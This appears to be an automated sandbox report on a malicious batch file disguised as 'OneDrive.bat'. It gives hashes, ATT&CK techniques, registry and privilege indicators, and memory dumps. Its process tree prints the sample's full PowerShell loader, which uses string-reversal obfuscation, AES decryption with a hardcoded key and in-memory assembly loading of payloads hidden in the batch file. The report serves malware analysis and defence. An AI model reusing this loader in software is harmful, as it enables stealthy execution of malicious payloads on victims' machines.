c43b6042c5e1f2cf58376a0f3a603fc31dac3582a2550feb039c2b6b12f4561e

General

Target

OneDrive.bat
Size

1.3MB
MD5

6751f819cf5b4df6f0b3ef0c4d67df70
SHA1

253fb36b79aeba90a296fe97c0036c52df2c60bc
SHA256

c43b6042c5e1f2cf58376a0f3a603fc31dac3582a2550feb039c2b6b12f4561e
SHA512

07714e6bc30a72865f75297ab9fa6725b8cc817b4839bd2551e683ecab513920ac266ac498cbc9d90638b31ef3d087d7d2bcb19a69604ecaaf46d47ea0eccaa9
SSDEEP

24576:w8jhgFN6tS6yfyTTQCAKcJSmq4Iu1uaQg/8UHSx99Busn/eE3as:wpu2yTtJ6AgJcAsn/bas

Score

6^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4292	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4292	powershell.exe
4292	powershell.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4292	powershell.exe
Token: SeDebugPrivilege	864	taskmgr.exe
Token: SeSystemProfilePrivilege	864	taskmgr.exe
Token: SeCreateGlobalPrivilege	864	taskmgr.exe
Token: 33	864	taskmgr.exe
Token: SeIncBasePriorityPrivilege	864	taskmgr.exe

Suspicious use of FindShellTrayWindow 32 IoCs

pid	Process
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe
864	taskmgr.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4932 wrote to memory of 4292	4932	cmd.exe	87
PID 4932 wrote to memory of 4292	4932	cmd.exe	87
PID 4932 wrote to memory of 4292	4932	cmd.exe	87

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\OneDrive.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4932
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lH0qoilpQ2ZsY8zf17BB+J/QzZZKgDT5mpOAWjfqrdk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kuH5GYB2aEsnfiIMYsfruA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aDBue=New-Object System.IO.MemoryStream(,$param_var); $sQlXi=New-Object System.IO.MemoryStream; $qsRvI=New-Object System.IO.Compression.GZipStream($aDBue, [IO.Compression.CompressionMode]::Decompress); $qsRvI.CopyTo($sQlXi); $qsRvI.Dispose(); $aDBue.Dispose(); $sQlXi.Dispose(); $sQlXi.ToArray();}function execute_function($param_var,$param2_var){ $SCIaU=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $TaffC=$SCIaU.EntryPoint; $TaffC.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\OneDrive.bat';$kLrvB=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\OneDrive.bat').Split([Environment]::NewLine);foreach ($RVWSd in $kLrvB) { if ($RVWSd.StartsWith(':: ')) { $WlsSp=$RVWSd.Substring(3); break; }}$payloads_var=[string[]]$WlsSp.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4292

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:864

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zl5h42bj.d3v.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/864-31-0x000002200E230000-0x000002200E231000-memory.dmp

Filesize
4KB

Download
memory/864-30-0x000002200E230000-0x000002200E231000-memory.dmp

Filesize
4KB

Download
memory/864-36-0x000002200E230000-0x000002200E231000-memory.dmp

Filesize
4KB

Download
memory/864-38-0x000002200E230000-0x000002200E231000-memory.dmp

Filesize
4KB

Download
memory/864-39-0x000002200E230000-0x000002200E231000-memory.dmp

Filesize
4KB

Download
memory/864-40-0x000002200E230000-0x000002200E231000-memory.dmp

Filesize
4KB

Download
memory/864-41-0x000002200E230000-0x000002200E231000-memory.dmp

Filesize
4KB

Download
memory/864-42-0x000002200E230000-0x000002200E231000-memory.dmp

Filesize
4KB

Download
memory/864-37-0x000002200E230000-0x000002200E231000-memory.dmp

Filesize
4KB

Download
memory/864-32-0x000002200E230000-0x000002200E231000-memory.dmp

Filesize
4KB

Download
memory/4292-17-0x0000000005B50000-0x0000000005B6E000-memory.dmp

Filesize
120KB

Download
memory/4292-19-0x00000000083C0000-0x0000000008A3A000-memory.dmp

Filesize
6.5MB

Download
memory/4292-21-0x0000000005F60000-0x0000000005F68000-memory.dmp

Filesize
32KB

Download
memory/4292-22-0x0000000007DC0000-0x0000000007EB4000-memory.dmp

Filesize
976KB

Download
memory/4292-3-0x0000000004EC0000-0x00000000054E8000-memory.dmp

Filesize
6.2MB

Download
memory/4292-5-0x0000000004E40000-0x0000000004EA6000-memory.dmp

Filesize
408KB

Download
memory/4292-20-0x0000000006120000-0x000000000613A000-memory.dmp

Filesize
104KB

Download
memory/4292-26-0x0000000004A10000-0x0000000004A18000-memory.dmp

Filesize
32KB

Download
memory/4292-29-0x0000000074740000-0x0000000074EF0000-memory.dmp

Filesize
7.7MB

Download
memory/4292-25-0x000000000CFF0000-0x000000000D594000-memory.dmp

Filesize
5.6MB

Download
memory/4292-0-0x000000007474E000-0x000000007474F000-memory.dmp

Filesize
4KB

Download
memory/4292-18-0x0000000005B70000-0x0000000005BBC000-memory.dmp

Filesize
304KB

Download
memory/4292-2-0x0000000074740000-0x0000000074EF0000-memory.dmp

Filesize
7.7MB

Download
memory/4292-12-0x00000000055E0000-0x0000000005934000-memory.dmp

Filesize
3.3MB

Download
memory/4292-1-0x00000000046D0000-0x0000000004706000-memory.dmp

Filesize
216KB

Download
memory/4292-6-0x0000000005570000-0x00000000055D6000-memory.dmp

Filesize
408KB

Download
memory/4292-24-0x00000000049A0000-0x00000000049AE000-memory.dmp

Filesize
56KB

Download
memory/4292-4-0x0000000004CA0000-0x0000000004CC2000-memory.dmp

Filesize
136KB

Download
memory/4292-23-0x0000000007EB0000-0x0000000007FBA000-memory.dmp

Filesize
1.0MB

Download

Analysis

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